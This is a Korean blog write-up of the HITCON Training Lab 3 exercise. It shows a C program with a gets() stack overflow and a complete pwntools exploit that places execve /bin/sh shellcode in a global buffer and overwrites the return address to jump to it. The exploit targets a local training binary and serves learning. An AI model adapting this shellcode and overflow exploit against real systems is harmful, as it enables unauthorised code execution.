ii4gsp

HITCON Training - LAB 3 본문

시스템 해킹/HITCON Training

HITCON Training - LAB 3

ii4gsp 2020. 2. 7. 15:27
#include <stdio.h>

char name[50];

int main(){
	setvbuf(stdout,0,2,0);
	printf("Name:");
	read(0,name,50);
	char buf[20];
	printf("Try your best:");
	gets(buf);
	return ;
}

문제 소스코드를 보면 gets()함수에서 취약점이 발생한다.

 

 

 

 

gdb로 파일을 열고 disas main해보면 <main+66>부분을 보면 read함수를 호출하기전에 값을 복사하는 것을 볼 수 있다.

name의 주소는 0x804a060이다.

main()에서 선언해준 buf는 20byte 선언하였지만 dummy 8byte가 생성되었다.

name에 shellcode를 넣고 gets()함수를 통해 buf ~ sfp = 32

32byte를 덮고 ret를 name의 주소로 조작해주면 된다.

 

 

 

 

from pwn import *

p = process('/home/ii4gsp/HITCON-Training/LAB/lab3/ret2sc')

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

name = 0x804a060

p.recvuntil(':')
p.sendline(shellcode)

payload = ''
payload += '\x90' * 32
payload += p32(name)

p.recvuntil(':')
p.sendline(payload)

p.interactive()

소스코드를 작성해주자.

 

 

 

 

쉘을 획득하였다.

'시스템 해킹 > HITCON Training' 카테고리의 다른 글

HITCON Training - LAB 2  (0) 2020.02.07
HITCON Training - LAB 1  (0) 2020.02.07
Comments